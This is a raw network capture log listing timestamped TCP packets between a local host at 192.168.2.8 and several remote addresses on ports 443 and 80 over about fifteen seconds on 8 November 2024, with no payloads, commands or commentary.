Nov 8, 2024 15:20:50.190712929 CET	49720	443	192.168.2.8	184.28.90.27
Nov 8, 2024 15:20:50.194948912 CET	49720	443	192.168.2.8	184.28.90.27
Nov 8, 2024 15:20:50.239331961 CET	443	49720	184.28.90.27	192.168.2.8
Nov 8, 2024 15:20:50.443567038 CET	443	49720	184.28.90.27	192.168.2.8
Nov 8, 2024 15:20:50.443811893 CET	49720	443	192.168.2.8	184.28.90.27
Nov 8, 2024 15:20:50.443836927 CET	443	49720	184.28.90.27	192.168.2.8
Nov 8, 2024 15:20:50.443852901 CET	49720	443	192.168.2.8	184.28.90.27
Nov 8, 2024 15:20:50.443984985 CET	443	49720	184.28.90.27	192.168.2.8
Nov 8, 2024 15:20:50.444013119 CET	443	49720	184.28.90.27	192.168.2.8
Nov 8, 2024 15:20:50.444051981 CET	49720	443	192.168.2.8	184.28.90.27
Nov 8, 2024 15:20:50.477803946 CET	49726	443	192.168.2.8	184.28.90.27
Nov 8, 2024 15:20:50.477843046 CET	443	49726	184.28.90.27	192.168.2.8
Nov 8, 2024 15:20:50.477945089 CET	49726	443	192.168.2.8	184.28.90.27
Nov 8, 2024 15:20:50.478221893 CET	49726	443	192.168.2.8	184.28.90.27
Nov 8, 2024 15:20:50.478231907 CET	443	49726	184.28.90.27	192.168.2.8
Nov 8, 2024 15:20:50.517049074 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:50.517338037 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:50.517359018 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:50.518415928 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:50.518486977 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:50.524240017 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:50.524308920 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:50.524647951 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:50.524662018 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:50.565712929 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:50.640454054 CET	49727	443	192.168.2.8	142.250.185.142
Nov 8, 2024 15:20:50.640500069 CET	443	49727	142.250.185.142	192.168.2.8
Nov 8, 2024 15:20:50.640564919 CET	49727	443	192.168.2.8	142.250.185.142
Nov 8, 2024 15:20:50.640774012 CET	49727	443	192.168.2.8	142.250.185.142
Nov 8, 2024 15:20:50.640789032 CET	443	49727	142.250.185.142	192.168.2.8
Nov 8, 2024 15:20:50.780689001 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:50.780735016 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:50.780766010 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:50.780792952 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:50.780814886 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:50.780848026 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:50.781291008 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:50.781358957 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:50.781394005 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:50.781400919 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:50.789971113 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:50.790020943 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:50.790035963 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:50.831265926 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:50.831281900 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:50.878132105 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:50.897464037 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:50.897789955 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:50.897840977 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:50.897852898 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:50.911228895 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:50.911278963 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:50.911286116 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:50.916162014 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:50.916215897 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:50.916222095 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:50.925553083 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:50.925595045 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:50.925606966 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:50.971889973 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:50.971899986 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.014457941 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.014520884 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.014554024 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.028156996 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.028217077 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.028224945 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.033029079 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.033082008 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.033087969 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.042380095 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.042416096 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.042431116 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.042444944 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.042484045 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.052974939 CET	443	49723	52.149.20.212	192.168.2.8
Nov 8, 2024 15:20:51.053050995 CET	49723	443	192.168.2.8	52.149.20.212
Nov 8, 2024 15:20:51.054992914 CET	49723	443	192.168.2.8	52.149.20.212
Nov 8, 2024 15:20:51.055005074 CET	443	49723	52.149.20.212	192.168.2.8
Nov 8, 2024 15:20:51.055239916 CET	443	49723	52.149.20.212	192.168.2.8
Nov 8, 2024 15:20:51.095710039 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.096899033 CET	49723	443	192.168.2.8	52.149.20.212
Nov 8, 2024 15:20:51.131915092 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.131944895 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.131980896 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.132008076 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.132026911 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.132054090 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.149874926 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.149915934 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.149941921 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.149951935 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.150238037 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.151693106 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.159199953 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.159372091 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.159375906 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.159389973 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.159744978 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.212529898 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.248275042 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.248912096 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.248925924 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.261967897 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.262662888 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.262677908 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.266793013 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.267467022 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.267477989 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.276055098 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.276196957 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.276227951 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.276242018 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.278184891 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.278192997 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.331530094 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.331547976 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.348678112 CET	443	49726	184.28.90.27	192.168.2.8
Nov 8, 2024 15:20:51.348902941 CET	49726	443	192.168.2.8	184.28.90.27
Nov 8, 2024 15:20:51.350507021 CET	49726	443	192.168.2.8	184.28.90.27
Nov 8, 2024 15:20:51.350519896 CET	443	49726	184.28.90.27	192.168.2.8
Nov 8, 2024 15:20:51.350755930 CET	443	49726	184.28.90.27	192.168.2.8
Nov 8, 2024 15:20:51.355555058 CET	49726	443	192.168.2.8	184.28.90.27
Nov 8, 2024 15:20:51.365725994 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.366029978 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.366044998 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.378932953 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.378964901 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.379057884 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.379072905 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.379657984 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.383987904 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.394087076 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.394141912 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.394170046 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.394176006 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.394190073 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.394221067 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.395401001 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.395657063 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.395665884 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.403326988 CET	443	49726	184.28.90.27	192.168.2.8
Nov 8, 2024 15:20:51.440885067 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.479574919 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.482775927 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.482919931 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.482939005 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.496589899 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.496736050 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.496752977 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.500941992 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.501527071 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.501538038 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.511132956 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.511163950 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.511213064 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.511238098 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.511250973 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.511275053 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.511568069 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.511739969 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.511746883 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.529772997 CET	443	49727	142.250.185.142	192.168.2.8
Nov 8, 2024 15:20:51.530029058 CET	49727	443	192.168.2.8	142.250.185.142
Nov 8, 2024 15:20:51.530054092 CET	443	49727	142.250.185.142	192.168.2.8
Nov 8, 2024 15:20:51.530415058 CET	443	49727	142.250.185.142	192.168.2.8
Nov 8, 2024 15:20:51.530498981 CET	49727	443	192.168.2.8	142.250.185.142
Nov 8, 2024 15:20:51.531167984 CET	443	49727	142.250.185.142	192.168.2.8
Nov 8, 2024 15:20:51.531265020 CET	49727	443	192.168.2.8	142.250.185.142
Nov 8, 2024 15:20:51.539499044 CET	49727	443	192.168.2.8	142.250.185.142
Nov 8, 2024 15:20:51.539499044 CET	49727	443	192.168.2.8	142.250.185.142
Nov 8, 2024 15:20:51.539513111 CET	443	49727	142.250.185.142	192.168.2.8
Nov 8, 2024 15:20:51.539536953 CET	49727	443	192.168.2.8	142.250.185.142
Nov 8, 2024 15:20:51.539568901 CET	443	49727	142.250.185.142	192.168.2.8
Nov 8, 2024 15:20:51.565959930 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.581479073 CET	49727	443	192.168.2.8	142.250.185.142
Nov 8, 2024 15:20:51.581490993 CET	443	49727	142.250.185.142	192.168.2.8
Nov 8, 2024 15:20:51.601958036 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.602024078 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.602142096 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.602164984 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.606375933 CET	443	49726	184.28.90.27	192.168.2.8
Nov 8, 2024 15:20:51.615869999 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.619570971 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.619591951 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.622409105 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.623023033 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.623034954 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.628364086 CET	49727	443	192.168.2.8	142.250.185.142
Nov 8, 2024 15:20:51.628659010 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.628726006 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.628739119 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.628839970 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.629089117 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.629095078 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.629368067 CET	443	49726	184.28.90.27	192.168.2.8
Nov 8, 2024 15:20:51.629401922 CET	443	49721	172.217.23.110	192.168.2.8
Nov 8, 2024 15:20:51.629437923 CET	49726	443	192.168.2.8	184.28.90.27
Nov 8, 2024 15:20:51.629478931 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.629478931 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.629764080 CET	49721	443	192.168.2.8	172.217.23.110
Nov 8, 2024 15:20:51.630387068 CET	49726	443	192.168.2.8	184.28.90.27
Nov 8, 2024 15:20:51.630414009 CET	443	49726	184.28.90.27	192.168.2.8
Nov 8, 2024 15:20:51.630584002 CET	49726	443	192.168.2.8	184.28.90.27
Nov 8, 2024 15:20:51.630604029 CET	443	49726	184.28.90.27	192.168.2.8
Nov 8, 2024 15:20:51.842482090 CET	443	49727	142.250.185.142	192.168.2.8
Nov 8, 2024 15:20:51.895535946 CET	49727	443	192.168.2.8	142.250.185.142
Nov 8, 2024 15:20:51.895555973 CET	443	49727	142.250.185.142	192.168.2.8
Nov 8, 2024 15:20:51.900228977 CET	49727	443	192.168.2.8	142.250.185.142
Nov 8, 2024 15:20:51.900275946 CET	443	49727	142.250.185.142	192.168.2.8
Nov 8, 2024 15:20:51.900417089 CET	443	49727	142.250.185.142	192.168.2.8
Nov 8, 2024 15:20:51.900434971 CET	49727	443	192.168.2.8	142.250.185.142
Nov 8, 2024 15:20:51.900593042 CET	49727	443	192.168.2.8	142.250.185.142
Nov 8, 2024 15:20:52.013797045 CET	49723	443	192.168.2.8	52.149.20.212
Nov 8, 2024 15:20:52.059326887 CET	443	49723	52.149.20.212	192.168.2.8
Nov 8, 2024 15:20:52.258116007 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:52.258420944 CET	49733	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:52.262943983 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:52.263271093 CET	80	49733	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:52.263335943 CET	49733	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:52.263463974 CET	49733	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:52.263506889 CET	49733	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:52.268433094 CET	80	49733	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:52.268441916 CET	80	49733	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:52.312767982 CET	443	49723	52.149.20.212	192.168.2.8
Nov 8, 2024 15:20:52.312788010 CET	443	49723	52.149.20.212	192.168.2.8
Nov 8, 2024 15:20:52.312797070 CET	443	49723	52.149.20.212	192.168.2.8
Nov 8, 2024 15:20:52.312827110 CET	443	49723	52.149.20.212	192.168.2.8
Nov 8, 2024 15:20:52.312855005 CET	443	49723	52.149.20.212	192.168.2.8
Nov 8, 2024 15:20:52.312875986 CET	49723	443	192.168.2.8	52.149.20.212
Nov 8, 2024 15:20:52.312890053 CET	443	49723	52.149.20.212	192.168.2.8
Nov 8, 2024 15:20:52.312968016 CET	49723	443	192.168.2.8	52.149.20.212
Nov 8, 2024 15:20:52.313380003 CET	443	49723	52.149.20.212	192.168.2.8
Nov 8, 2024 15:20:52.313452959 CET	49723	443	192.168.2.8	52.149.20.212
Nov 8, 2024 15:20:52.313453913 CET	443	49723	52.149.20.212	192.168.2.8
Nov 8, 2024 15:20:52.313508987 CET	49723	443	192.168.2.8	52.149.20.212
Nov 8, 2024 15:20:53.025305986 CET	49735	443	192.168.2.8	142.250.185.142
Nov 8, 2024 15:20:53.025350094 CET	443	49735	142.250.185.142	192.168.2.8
Nov 8, 2024 15:20:53.025428057 CET	49735	443	192.168.2.8	142.250.185.142
Nov 8, 2024 15:20:53.035022020 CET	49735	443	192.168.2.8	142.250.185.142
Nov 8, 2024 15:20:53.035044909 CET	443	49735	142.250.185.142	192.168.2.8
Nov 8, 2024 15:20:53.257901907 CET	49723	443	192.168.2.8	52.149.20.212
Nov 8, 2024 15:20:53.257903099 CET	49723	443	192.168.2.8	52.149.20.212
Nov 8, 2024 15:20:53.257936954 CET	443	49723	52.149.20.212	192.168.2.8
Nov 8, 2024 15:20:53.257950068 CET	443	49723	52.149.20.212	192.168.2.8
Nov 8, 2024 15:20:53.706804037 CET	80	49733	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:53.706898928 CET	49733	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:53.883972883 CET	443	49735	142.250.185.142	192.168.2.8
Nov 8, 2024 15:20:53.925251961 CET	49735	443	192.168.2.8	142.250.185.142
Nov 8, 2024 15:20:54.780112982 CET	49733	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:54.785155058 CET	80	49733	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:54.867980003 CET	49735	443	192.168.2.8	142.250.185.142
Nov 8, 2024 15:20:54.868051052 CET	49714	443	192.168.2.8	142.250.186.100
Nov 8, 2024 15:20:55.567950964 CET	80	49733	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:55.569930077 CET	49733	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:00.727366924 CET	80	49733	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:00.727453947 CET	49733	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:02.076715946 CET	49737	443	192.168.2.8	52.123.242.159
Nov 8, 2024 15:21:02.076754093 CET	443	49737	52.123.242.159	192.168.2.8
Nov 8, 2024 15:21:02.077158928 CET	49737	443	192.168.2.8	52.123.242.159
Nov 8, 2024 15:21:02.093724966 CET	49737	443	192.168.2.8	52.123.242.159
Nov 8, 2024 15:21:02.093739986 CET	443	49737	52.123.242.159	192.168.2.8
Nov 8, 2024 15:21:02.142895937 CET	49742	443	192.168.2.8	94.245.104.56
Nov 8, 2024 15:21:02.142930031 CET	443	49742	94.245.104.56	192.168.2.8
Nov 8, 2024 15:21:02.143049002 CET	49742	443	192.168.2.8	94.245.104.56
Nov 8, 2024 15:21:02.143255949 CET	49742	443	192.168.2.8	94.245.104.56
Nov 8, 2024 15:21:02.143270969 CET	443	49742	94.245.104.56	192.168.2.8
Nov 8, 2024 15:21:03.185936928 CET	443	49737	52.123.242.159	192.168.2.8
Nov 8, 2024 15:21:03.229679108 CET	49737	443	192.168.2.8	52.123.242.159
Nov 8, 2024 15:21:03.229697943 CET	443	49737	52.123.242.159	192.168.2.8
Nov 8, 2024 15:21:03.230886936 CET	443	49737	52.123.242.159	192.168.2.8
Nov 8, 2024 15:21:03.230952978 CET	49737	443	192.168.2.8	52.123.242.159
Nov 8, 2024 15:21:03.270690918 CET	49737	443	192.168.2.8	52.123.242.159
Nov 8, 2024 15:21:03.270858049 CET	443	49737	52.123.242.159	192.168.2.8
Nov 8, 2024 15:21:03.271297932 CET	49737	443	192.168.2.8	52.123.242.159
Nov 8, 2024 15:21:03.271308899 CET	443	49737	52.123.242.159	192.168.2.8
Nov 8, 2024 15:21:03.361155987 CET	49737	443	192.168.2.8	52.123.242.159
Nov 8, 2024 15:21:03.540277958 CET	443	49737	52.123.242.159	192.168.2.8
Nov 8, 2024 15:21:03.540306091 CET	443	49737	52.123.242.159	192.168.2.8
Nov 8, 2024 15:21:03.540400028 CET	49737	443	192.168.2.8	52.123.242.159
Nov 8, 2024 15:21:03.540422916 CET	443	49737	52.123.242.159	192.168.2.8
Nov 8, 2024 15:21:03.540647984 CET	49737	443	192.168.2.8	52.123.242.159
Nov 8, 2024 15:21:03.560024023 CET	443	49742	94.245.104.56	192.168.2.8
Nov 8, 2024 15:21:03.650903940 CET	49742	443	192.168.2.8	94.245.104.56
Nov 8, 2024 15:21:03.650913954 CET	443	49742	94.245.104.56	192.168.2.8
Nov 8, 2024 15:21:03.652386904 CET	443	49742	94.245.104.56	192.168.2.8
Nov 8, 2024 15:21:03.652401924 CET	443	49742	94.245.104.56	192.168.2.8
Nov 8, 2024 15:21:03.652452946 CET	49742	443	192.168.2.8	94.245.104.56
Nov 8, 2024 15:21:03.657780886 CET	443	49737	52.123.242.159	192.168.2.8
Nov 8, 2024 15:21:03.657794952 CET	443	49737	52.123.242.159	192.168.2.8
Nov 8, 2024 15:21:03.657815933 CET	443	49737	52.123.242.159	192.168.2.8
Nov 8, 2024 15:21:03.657824993 CET	443	49737	52.123.242.159	192.168.2.8
Nov 8, 2024 15:21:03.657845020 CET	443	49737	52.123.242.159	192.168.2.8
Nov 8, 2024 15:21:03.657861948 CET	49737	443	192.168.2.8	52.123.242.159
Nov 8, 2024 15:21:03.657888889 CET	49737	443	192.168.2.8	52.123.242.159
Nov 8, 2024 15:21:03.776458025 CET	443	49737	52.123.242.159	192.168.2.8
Nov 8, 2024 15:21:03.776470900 CET	443	49737	52.123.242.159	192.168.2.8
Nov 8, 2024 15:21:03.776508093 CET	443	49737	52.123.242.159	192.168.2.8
Nov 8, 2024 15:21:03.776529074 CET	443	49737	52.123.242.159	192.168.2.8
Nov 8, 2024 15:21:03.776705027 CET	49737	443	192.168.2.8	52.123.242.159
Nov 8, 2024 15:21:03.776705027 CET	49737	443	192.168.2.8	52.123.242.159
Nov 8, 2024 15:21:03.776727915 CET	443	49737	52.123.242.159	192.168.2.8
Nov 8, 2024 15:21:03.779599905 CET	49737	443	192.168.2.8	52.123.242.159
Nov 8, 2024 15:21:03.893507004 CET	443	49737	52.123.242.159	192.168.2.8
Nov 8, 2024 15:21:03.893531084 CET	443	49737	52.123.242.159	192.168.2.8
Nov 8, 2024 15:21:03.893600941 CET	49737	443	192.168.2.8	52.123.242.159
Nov 8, 2024 15:21:03.893615961 CET	443	49737	52.123.242.159	192.168.2.8
Nov 8, 2024 15:21:03.893687963 CET	49737	443	192.168.2.8	52.123.242.159
Nov 8, 2024 15:21:03.946784019 CET	49742	443	192.168.2.8	94.245.104.56
Nov 8, 2024 15:21:03.947021961 CET	49742	443	192.168.2.8	94.245.104.56
Nov 8, 2024 15:21:03.947029114 CET	443	49742	94.245.104.56	192.168.2.8
Nov 8, 2024 15:21:03.987333059 CET	443	49742	94.245.104.56	192.168.2.8
Nov 8, 2024 15:21:04.009510040 CET	443	49737	52.123.242.159	192.168.2.8
Nov 8, 2024 15:21:04.009588957 CET	49737	443	192.168.2.8	52.123.242.159
Nov 8, 2024 15:21:04.009605885 CET	443	49737	52.123.242.159	192.168.2.8
Nov 8, 2024 15:21:04.010631084 CET	49737	443	192.168.2.8	52.123.242.159
Nov 8, 2024 15:21:04.010674953 CET	443	49737	52.123.242.159	192.168.2.8
Nov 8, 2024 15:21:04.010725975 CET	49737	443	192.168.2.8	52.123.242.159
Nov 8, 2024 15:21:04.072804928 CET	49742	443	192.168.2.8	94.245.104.56
Nov 8, 2024 15:21:04.072825909 CET	443	49742	94.245.104.56	192.168.2.8
Nov 8, 2024 15:21:04.270051003 CET	49742	443	192.168.2.8	94.245.104.56
Nov 8, 2024 15:21:04.270082951 CET	443	49742	94.245.104.56	192.168.2.8
Nov 8, 2024 15:21:04.285254002 CET	49742	443	192.168.2.8	94.245.104.56
Nov 8, 2024 15:21:04.285360098 CET	443	49742	94.245.104.56	192.168.2.8
Nov 8, 2024 15:21:04.285418034 CET	49742	443	192.168.2.8	94.245.104.56
Nov 8, 2024 15:21:04.383575916 CET	49750	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:04.383620024 CET	443	49750	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:04.384047985 CET	49750	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:04.391567945 CET	49750	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:04.391593933 CET	443	49750	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:04.887666941 CET	49733	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:04.894089937 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:04.895601034 CET	80	49733	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:04.899622917 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:04.902518988 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:04.947576046 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:04.947576046 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:05.156954050 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:05.156965971 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:05.156975985 CET	80	49753	185.215.113.206	192.168.2.8
